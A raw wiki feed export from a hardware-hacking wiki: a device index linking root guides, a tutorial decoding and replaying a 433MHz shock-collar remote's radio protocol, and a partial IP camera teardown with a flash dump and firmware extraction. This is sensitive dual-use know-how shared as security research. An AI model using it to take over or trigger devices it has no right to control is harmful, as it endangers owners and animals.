&#039;&#039;&#039;ADT-1&#039;&#039;&#039;&lt;br /&gt;
*[[ADT-1 Android TV]]&lt;br /&gt;
*[https://forum.exploitee.rs/adt-f52/ ADT-1 Forum ]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Google-Nexus-Player-Stock.jpg|100px]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Nexus Player&#039;&#039;&#039;&lt;br /&gt;
*[[Google Nexus Player]] &lt;br /&gt;
*[https://forum.exploitee.rs/nexus-player-f54/ Google Nexus Player Forum ]&lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 1px solid #000000; cell-padding:0px; cell-spacing:0px; width:300px;&amp;quot; valign=&amp;quot;top&amp;quot;&lt;br /&gt;
|+&#039;&#039;&#039;SECOND GENERATION GOOGLETV&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Asus_cube.jpg|100px]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Asus Cube&#039;&#039;&#039;&lt;br /&gt;
*[[Asus Cube]] &lt;br /&gt;
*[http://forum.exploitee.rs/cube-f46/ Asus Cube Forum ]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Neotv-prime.jpg|100px]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Netgear NeoTV Prime&#039;&#039;&#039;&lt;br /&gt;
*[[Netgear NeoTV Prime]] &lt;br /&gt;
*[http://forum.exploitee.rs/neotv-prime-gtv100-f44/ Negear NeoTV Prime Forum ]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Hisense pulse stock.jpg|100px]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Hisense Pulse&#039;&#039;&#039;&lt;br /&gt;
*[[Hisense Pulse]] &lt;br /&gt;
*[http://forum.exploitee.rs/pulse-gx1200v-f42/ Hisense Pulse Forum ]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:180px-NSZ-GS7.jpg|100px]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Sony NSZ-GS7&#039;&#039;&#039;&lt;br /&gt;
*[[Sony NSZ-GS7 (Streamer)]] &lt;br /&gt;
*[http://forum.exploitee.rs/nsz-gs7-streamer/ NSZ-GS7 Forum ]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Costar01.jpg|100px]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Vizio Co-Star&#039;&#039;&#039;&lt;br /&gt;
*[[Vizio Co-Star]] &lt;br /&gt;
*[http://forum.exploitee.rs/star-vap430-f40/ Co-Star Forum ]&lt;br /&gt;
|-&lt;br /&gt;
| [[File:180px-LG_G2.jpg|150px]]&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;LG 47G2/55G2&#039;&#039;&#039;&lt;br /&gt;
*[[LG 47G2/55G2 (Internet TV)]] &lt;br /&gt;
*[http://forum.exploitee.rs/47g2-55g2-internet-f36/ LG devices forum ]&lt;br /&gt;
|}&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;|&lt;br /&gt;
{| style=&amp;quot;border: 1px solid #000000; cell-padding:0px; cell-spacing:0px; width:300px&amp;quot;&lt;br /&gt;
|+&#039;&#039;&#039;FIRST GENERATION GOOGLETV&#039;&#039;&#039;&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;&amp;quot;| [[File:180px-revue.jpg|100px]]&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Logitech Revue&#039;&#039;&#039;&lt;br /&gt;
*[[Revue software root]]&lt;br /&gt;
*[[Logitech Revue UART root]]&lt;br /&gt;
*[http://forum.exploitee.rs/revue/ Revue forum ]&lt;br /&gt;
*[http://exploitee.rs/index.php/Category:Logitech_Revue Info on Logitech Revue]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:180px-Sony_NSZ_GT1_NSX_40GT1.jpg|100px]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Sony NSZ-GT1&#039;&#039;&#039;&lt;br /&gt;
*[[Sony NSZ-GT1 (Bluray Player)]] &lt;br /&gt;
*[http://forum.exploitee.rs/nsz-gt1/ NSZ-GT1 Forum ]&lt;br /&gt;
&#039;&#039;&#039;Sony NSX-##GT1&#039;&#039;&#039;&lt;br /&gt;
*[[Sony NSX-40GT1 (Internet TV)]]&lt;br /&gt;
*[http://forum.exploitee.rs/nsx-40gt1/ NSX-40GT1 Forum ]&lt;br /&gt;
&#039;&#039;&#039; Sony Generic&#039;&#039;&#039;&lt;br /&gt;
*[[Sony Bootloader HW Root]]&lt;br /&gt;
*[[Sony Unsigned Kernels (SW Root)]]&lt;br /&gt;
*[[Sony SATA HW Root]]&lt;br /&gt;
*[[I&#039;ve rooted... now what?!]]&lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 1px solid #000000; width:300px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+&#039;&#039;&#039;Exploitee.rs Hardware&#039;&#039;&#039;&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;width:180px; padding-left:25%;&amp;quot;|&lt;br /&gt;
*[[Exploitee.rs Low Voltage e-MMC Adapter]]&lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 1px solid #000000; width:300px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+&#039;&#039;&#039;Generic Info&#039;&#039;&#039;&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;width:180px; padding-left:25%;&amp;quot;|&lt;br /&gt;
*[[All_device_feature_matrix|All Device Feature Matrix]]&lt;br /&gt;
*[[Exploiting Key Signing for Root]]&lt;br /&gt;
*[[Installing Custom Recovery (Gen 2 Only)]]&lt;br /&gt;
*[[RF_Signal_Analysis|RF Signal Analysis]]&lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 1px solid #000000; width:300px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+&#039;&#039;&#039;Presentation Slides&#039;&#039;&#039;&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;width:180px; padding-left:25%;&amp;quot;|&lt;br /&gt;
*[https://download.exploitee.rs/file/generic/GTVHacker-DEFCON20.pdf DEF CON 20 - &amp;quot;Hacking The Google TV&amp;quot;]&lt;br /&gt;
*[https://download.exploitee.rs/file/generic/GTVHacker-DEFCON21.pdf DEF CON 21 - &amp;quot;Google TV Or: How I Learned to Stop Worrying and Exploit Secure Boot&amp;quot;]&lt;br /&gt;
*[https://download.exploitee.rs/file/generic/GTVHacker-DEFCON22.pdf DEF CON 22 - &amp;quot;Hack All The Things: 20 Devices in 45 Minutes&amp;quot;]&lt;br /&gt;
*[https://download.exploitee.rs/file/generic/BH2017-Hacking-Hardware-With-A-10-Reader.pdf BlackHat 2017 - &amp;quot;Hacking Hardware with a $10 SD Card Reader&amp;quot;]&lt;br /&gt;
*[https://download.exploitee.rs/file/generic/Exploiteers-DEFCON25.pdf DEFCON 25 - &amp;quot;All Your Things Are Belong To Us&amp;quot;]&lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 1px solid #000000; width:300px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+&#039;&#039;&#039;Whitepapers&#039;&#039;&#039;&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;width:180px; padding-left:25%;&amp;quot;|&lt;br /&gt;
*[https://download.exploitee.rs/file/generic/BH2017-Hacking-Hardware-With-A-10-Reader-wp.pdf &amp;quot;Hacking Hardware with a $10 SD Card Reader&amp;quot;]&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=RF_Signal_Analysis&amp;diff=2928</id>
		<title>RF Signal Analysis</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=RF_Signal_Analysis&amp;diff=2928"/>
		<updated>2017-10-18T20:50:12Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: /* Sending our own data */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page will be to cover some basic RF signal analysis.&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
Many IoT devices use &amp;lt; 1Ghz signaling for various functions (various sensors, remote controls, device to device communication) with an undocumented and sometimes proprietary protocol. It can often be difficult to understand these without documentation and the aim here is to provide some of the first steps needed to identify and decode some of the data. The hardware used in this demo will be:&lt;br /&gt;
&lt;br /&gt;
A HackRF from Great Scott Gadgets. (https://greatscottgadgets.com/hackrf/)&lt;br /&gt;
&lt;br /&gt;
An RTL-SDR dongle from the rtl-sdr blog that is for sale on amazon. (http://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/)&lt;br /&gt;
&lt;br /&gt;
Another device from Great Scott Gadgets, the YARD Stick One. (https://greatscottgadgets.com/yardstickone/)&lt;br /&gt;
&lt;br /&gt;
== Where to look ==&lt;br /&gt;
&lt;br /&gt;
One great place to start is with the FCC documentation for the transmitting device, if the device has an fccid then it will have information on file. Some good reference links are below.&lt;br /&gt;
&lt;br /&gt;
Awesome US spectrum allocation graphic: https://upload.wikimedia.org/wikipedia/commons/d/df/United_States_Frequency_Allocations_Chart_2011_-_The_Radio_Spectrum.pdf&lt;br /&gt;
&lt;br /&gt;
Wikipedia page on ISM bands: https://en.wikipedia.org/wiki/ISM_band&lt;br /&gt;
&lt;br /&gt;
Our demo device right now will be an alarm remote control with the fccid &amp;quot;B4Z-RF400401&amp;quot; that does not have the frequency listed on the package.&lt;br /&gt;
&lt;br /&gt;
[[File:Remote.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
We can throw this ID into the https://fccid.io/ site to get some details.&lt;br /&gt;
&lt;br /&gt;
https://fccid.io/B4Z-RF4004-01-2&lt;br /&gt;
&lt;br /&gt;
[[File:B4Z-RF400401_fccid.io.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
Now we know where this device is supposed to be transmitting and we can move on to the next steps.&lt;br /&gt;
&lt;br /&gt;
== How to look ==&lt;br /&gt;
&lt;br /&gt;
Some favorites are gqrx (linux and mac http://gqrx.dk/) or sdr# (windows http://airspy.com/download/ ) in a higher sample rate mode to inspect the entire band the device operates on to look for the signal. For the rest of the demo I will be using another device with no FCC id. It advertises that it operates at 433mhz. I will be capturing with the RTL-SDR dongle.&lt;br /&gt;
&lt;br /&gt;
[[File:Shock_Collar.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
{{#ev:youtube|NI8U1IfQyto}}&lt;br /&gt;
&lt;br /&gt;
I know where to look for the signal now but the wave form isn&#039;t showing me very much. Listening to the demodulated audio does tell me something however, this sounds like Amplitude Shift Keying (ASK) also known as On Off Keying (OOK). Lets verify this with gnuradio and gr-fosphor over the hackrf for a bit higher quality signal.&lt;br /&gt;
&lt;br /&gt;
[[File:Inspect_ook_grc.png|500px]]&lt;br /&gt;
[[File:Inspect_ook_gr-fosphor.png|500px]]&lt;br /&gt;
&lt;br /&gt;
This absolutely looks like OOK.&lt;br /&gt;
&lt;br /&gt;
Useful link to the Signal Identification Guide wiki: http://www.sigidwiki.com/wiki/Signal_Identification_Guide&lt;br /&gt;
&lt;br /&gt;
== Decoding ==&lt;br /&gt;
&lt;br /&gt;
Our next task will be to determine the data rate, a favorite tool is Inspectrum (https://github.com/miek/inspectrum).&lt;br /&gt;
&lt;br /&gt;
[[File:Inspectrum_ook.png|500px]]&lt;br /&gt;
&lt;br /&gt;
We can see the definite bits here and get a general idea about the baud rate, it looks like it is above 3500 baud but we can refine this! Another useful tool is Universal Radio Hacker (https://github.com/sthysel/urh) that can take a bunch of the work out of demodulating and decoding a signal.&lt;br /&gt;
&lt;br /&gt;
[[File:URH_waveform_demod.png|500px]]&lt;br /&gt;
&lt;br /&gt;
Knowing the approximate baud rate and our sample rate of 2 million samples per second we can start to fiddle with the bit length and noise level to decode the packets. Things start to settle out at 500 samples per bit. This would give us a baud rate of 4000, this isn&#039;t accurate because of the rest of the tinkering but it will let us decode the signal. More careful adjustment will get us closer to the actual rate of 555 samples per second or 3600 baud. At this point we can retransmit these bits with the hackrf and trigger the device but it doesn&#039;t give us a clear of an idea what is actually going on.&lt;br /&gt;
&lt;br /&gt;
The pattern of bits look like there is some error correction built in, a sequence of 1000 seems to equal 0 and 1110 equals a 1. URH will let us decode this further as seen below.&lt;br /&gt;
&lt;br /&gt;
[[File:URH_NRZ_replace.png|500px]]&lt;br /&gt;
&lt;br /&gt;
The resulting packets now look like this.&lt;br /&gt;
&lt;br /&gt;
[[File:Decoded_packets.png]]&lt;br /&gt;
&lt;br /&gt;
If we ignore the noise on 5 and 10 we can see a sequence forming. This sequence is the result of changing the power level setting on the remote control. With more changes and monitoring the entire protocol can be decoded.&lt;br /&gt;
&lt;br /&gt;
[[File:Collar_protocol_packet.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
== Sending our own data ==&lt;br /&gt;
&lt;br /&gt;
With this data we can now use a tool like the YARD Stick One to transmit our own packets to the device. I have posted the complete code here. https://github.com/rjmendez/ShockCollar&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=LeFun_Cloud_IPCam&amp;diff=2873</id>
		<title>LeFun Cloud IPCam</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=LeFun_Cloud_IPCam&amp;diff=2873"/>
		<updated>2017-08-09T19:22:22Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__FORCETOC__&lt;br /&gt;
{{Disclaimer}}&lt;br /&gt;
[[File:Cloudipcam_store.png|100px|left|thumb]]&lt;br /&gt;
[[Category:Cameras]]&lt;br /&gt;
This page will be dedicated to a general overview, descriptions, and information related to the LeFun C1 wireless surveillance camera.&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
The LeFun C1 wireless surveillance camera is a network (Wifi/Ethernet) camera w/ IR LEDs provided by LeFun and available on Amazon.com.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Cloudipcam_front.jpg&lt;br /&gt;
File:Cloudipcam_profile.jpg&lt;br /&gt;
File:Cloudipcam_back.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Disassembly ==&lt;br /&gt;
The base of the camera is attached with four small phillips screws hidden under silicone rubber feet. Remove all four, the base and board should be open to you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Cloudipcam_bottom.jpg&lt;br /&gt;
File:Cloudipcam_board.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UART ==&lt;br /&gt;
A Login Console is presented on UART (3.3v) at 38400 baud. The pinout for UART can be found below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Cloudipcam_UART_pins.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
&lt;br /&gt;
U-Boot is available on boot and can probably be init hijacked, thankfully there is a better option that does not require access to the internals.&lt;br /&gt;
&lt;br /&gt;
[[File:Cloudipcam_mxic25l12835f.jpg|100px|thumb]]&lt;br /&gt;
&lt;br /&gt;
The firmware on this model was not available for download elsewhere and I didn&#039;t feel like waiting on the firmware to download over the uart at 38.4k baud so we will resort to the hot air and minipro TL866CS. SPI flash model mxic25l12835f was removed and dumped, the issue I had was that from 0x0 to 0xC00000 every 4 bytes were swapped.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware Format&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Raw data from the chip has an interesting patern to it.&lt;br /&gt;
&lt;br /&gt;
From U-Boot&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;=&amp;gt; md.b 0x02000000 130&lt;br /&gt;
02000000: 47 4d 38 31 32 36 00 00 00 00 01 00 00 00 01 00    GM8126..........&lt;br /&gt;
02000010: 00 00 0b 00 00 00 0d 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000030: 00 00 00 00 08 00 00 00 0c 00 00 00 18 00 00 00    ................&lt;br /&gt;
02000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
02000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
020000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
020000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
020000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
020000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
020000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
020000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa    ..............U.&lt;br /&gt;
02000100: fa f8 bb f0 ba ba e7 70 5a be 03 aa 0a ea ae ba    .......pZ.......&lt;br /&gt;
02000110: 22 f3 7a ff ba 2d 08 aa f7 aa 2a 3c fa bb aa 9e    &amp;quot;.z..-....*&amp;lt;....&lt;br /&gt;
02000120: 80 2e ea fd b9 ea c2 b5 ec ab 6a ba 8f aa ba ab    ..........j.....&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dumped from the chip.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Rjmendez:~/cloudipcamera$ hd cloudipcamera_mxic25l12835f.BIN | head -n 15&lt;br /&gt;
00000000  31 38 4d 47 00 00 36 32  00 01 00 00 00 01 00 00  |18MG..62........|&lt;br /&gt;
00000010  00 0b 00 00 00 0d 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
00000030  00 00 00 00 00 00 00 08  00 00 00 0c 00 00 00 18  |................|&lt;br /&gt;
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
*&lt;br /&gt;
000000f0  00 00 00 00 00 00 00 00  00 00 00 00 aa 55 00 00  |.............U..|&lt;br /&gt;
00000100  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|&lt;br /&gt;
*&lt;br /&gt;
00001000  80 5a 47 4d 00 00 00 00  00 00 29 18 00 00 00 00  |.ZGM......).....|&lt;br /&gt;
00001010  6f 62 73 6e 62 2e 74 6f  00 00 6e 69 00 00 00 00  |obsnb.to..ni....|&lt;br /&gt;
00001020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
*&lt;br /&gt;
00001100  ea 00 00 0e e5 9f f0 14  e5 9f f0 14 e5 9f f0 14  |................|&lt;br /&gt;
00001110  e5 9f f0 14 e1 a0 00 00  e5 9f f0 10 e5 9f f0 10  |................|&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets reorder the bytes. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;objcopy -I binary -O binary --reverse-bytes=4 cloudipcamera_mxic25l12835f.BIN cloudipcamera_mxic25l12835f.BIN.swapped&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Merging the two halves together gives us the entire image.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Rjmendez:~/cloudipcamera$ binwalk cloudipcamera_mxic25l12835f.BIN.merged &lt;br /&gt;
&lt;br /&gt;
DECIMAL       HEXADECIMAL     DESCRIPTION&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
809008        0xC5830         CRC32 polynomial table, little endian&lt;br /&gt;
852224        0xD0100         Linux kernel ARM boot executable zImage (little-endian)&lt;br /&gt;
865293        0xD340D         gzip compressed data, maximum compression, from Unix, last modified: 2015-10-23 07:16:16&lt;br /&gt;
12582912      0xC00000        JFFS2 filesystem, little endian&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filesystem&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The notable data includes the root filesystem.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Rjmendez:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ ls&lt;br /&gt;
D340D             D8B3E4  D8BA40  D8BF44  D8CE50  DC11AC  DC15E4  DC1AF4  E7C814  E7CC44  ED5158  ED565C  ED5BAC  FB50C0  FFE67C        jffs2-root-1   jffs2-root-3  jffs2-root-8&lt;br /&gt;
_D340D.extracted  D8B514  D8BC0C  D8C670  D8CEFC  DC12AC  DC16E8  DC1BC0  E7C90C  E7CD44  ED5324  ED5754  ED5CD8  FB51EC  FFEAB0        jffs2-root-10  jffs2-root-4  jffs2-root-9&lt;br /&gt;
D8B0BC            D8B640  D8BD04  D8CBC4  D8D4E8  DC1340  DC180C  E7C050  E7CA0C  E7CE48  ED541C  ED5854  ED5D64  FB5278  FFEDFC        jffs2-root-11  jffs2-root-5&lt;br /&gt;
D8B1BC            D8B6CC  D8BE04  D8CCBC  D8E460  DC13EC  DC193C  E7C198  E7CAA0  E7CF6C  ED551C  ED5958  ED5E30  FB5344  jffs2-root    jffs2-root-12  jffs2-root-6&lt;br /&gt;
D8B2C0            D8B938  D8BE98  D8CDBC  DC10B4  DC14E4  DC1A68  E7C5B0  E7CB4C  ED5050  ED55B0  ED5A7C  ED5F38  FFE230  jffs2-root-0  jffs2-root-2   jffs2-root-7&lt;br /&gt;
rjmendez@Rjmendez:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ ls _D340D.extracted/&lt;br /&gt;
1A100  _1A100.extracted  9FD828&lt;br /&gt;
rjmendez@Rjmendez:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ ls _D340D.extracted/_1A100.extracted/&lt;br /&gt;
168.cpio  cpio-root&lt;br /&gt;
rjmendez@Rjmendez:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ ls _D340D.extracted/_1A100.extracted/cpio-root/&lt;br /&gt;
bin  dev  etc  init  lib  mnt  proc  project  root  sbin  sys  tmp  usr  var&lt;br /&gt;
rjmendez@Rjmendez:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ ls _D340D.extracted/_1A100.extracted/cpio-root/root/&lt;br /&gt;
welcome.txt&lt;br /&gt;
rjmendez@Rjmendez:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ cat _D340D.extracted/_1A100.extracted/cpio-root/root/welcome.txt &lt;br /&gt;
welcome to (c)shenzhen mining mipc world!&lt;br /&gt;
enjoy it!&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And the config storage.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Rjmendez:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted$ ls jffs2-root/fs_1/ -R&lt;br /&gt;
jffs2-root/fs_1/:&lt;br /&gt;
dev_data  ipc_data  latest_dhcp_ip_eth0  system_data&lt;br /&gt;
&lt;br /&gt;
jffs2-root/fs_1/dev_data:&lt;br /&gt;
system_config&lt;br /&gt;
&lt;br /&gt;
jffs2-root/fs_1/ipc_data:&lt;br /&gt;
8188eu_ap_2G.conf  aec_amr.xml            ao0.xml   buildinfo.xml   io_alert.xml   motion_alert.xml     ntp_info.xml       ptz0.xml            RT2870AP.dat         vec_half.xml    vs0.xml&lt;br /&gt;
action_conf.xml    aec_g711.xml           aoc0.xml  data_version    ipc_conf.xml   motion_ex_alert.xml  osd_show_time.xml  ptz.xml             RT2870STA_adhoc.dat  vec_hd.xml      vsc0.xml&lt;br /&gt;
active_server.xml  aec_g726.xml           ap.conf   default_gw.xml  license.xml    net_info.sh          pass.mp            ra0.xml             RT2870STA_infra.dat  vec_jpeg.xml&lt;br /&gt;
aec_aac.xml        alarm.xml              as0.xml   dps             localtime      net_info.xml         pass.up            recording_root.xml  sd_conf.xml          vec_min.xml&lt;br /&gt;
aec_adpcm.xml      alert_device_conf.xml  asc3.xml  eth0.xml        mediainfo.xml  nick_conf.xml        proxy.xml          recording_task.xml  server.xml           vec_normal.xml&lt;br /&gt;
&lt;br /&gt;
jffs2-root/fs_1/ipc_data/dps:&lt;br /&gt;
cacs&lt;br /&gt;
&lt;br /&gt;
jffs2-root/fs_1/ipc_data/dps/cacs:&lt;br /&gt;
61646d696e02&lt;br /&gt;
&lt;br /&gt;
jffs2-root/fs_1/system_data:&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Theres also an archive in /project on the root filesystem.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Rjmendez:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted/_D340D.extracted/_1A100.extracted/cpio-root$ ls -laht project/&lt;br /&gt;
&lt;br /&gt;
total 3.2M&lt;br /&gt;
drwxr-xr-x  2 rjmendez rjmendez 4.0K Apr 20 12:17 .&lt;br /&gt;
-rwxr-xr-x  1 rjmendez rjmendez 3.2M Apr 20 12:17 ipc_project_v1.9.5.1510231507.rtl8188.tar.lzma&lt;br /&gt;
-rwxr-xr-x  1 rjmendez rjmendez   11 Apr 20 12:17 tar.crc&lt;br /&gt;
drwxrwxr-x 15 rjmendez rjmendez 4.0K Apr 20 12:17 ..&lt;br /&gt;
-rwxr-xr-x  1 rjmendez rjmendez  135 Apr 20 12:17 buildinfo.xml&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Its called by the init script in /etc/init.d/dev_init.sh&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#prepare project&lt;br /&gt;
unlzma -c /project/*.tar.lzma &amp;gt; /tmp/project.tar&lt;br /&gt;
rm /project/*.tar.lzma&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
tar -xvf /tmp/project.tar -C /project/&lt;br /&gt;
rm -rf /tmp/project.tar&lt;br /&gt;
chmod -R 777 /project&lt;br /&gt;
&lt;br /&gt;
#dev_start&lt;br /&gt;
if [ -e /mnt/mtd/flag_debug_dev_start ]; then&lt;br /&gt;
    echo &amp;quot;[`date &#039;+%Y-%m-%d %H:%M:%S&#039;` dev_init.sh]&amp;quot; /mnt/mtd/flag_debug_dev_start existed&lt;br /&gt;
else&lt;br /&gt;
    echo &amp;quot;[`date &#039;+%Y-%m-%d %H:%M:%S&#039;` dev_init.sh]&amp;quot; run /project/apps/app/ipc/data/sh/dev_start.sh&lt;br /&gt;
    cd /project/apps/app/ipc/data/sh&lt;br /&gt;
    ./dev_start.sh&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Extracting it all gives us this.&lt;br /&gt;
&lt;br /&gt;
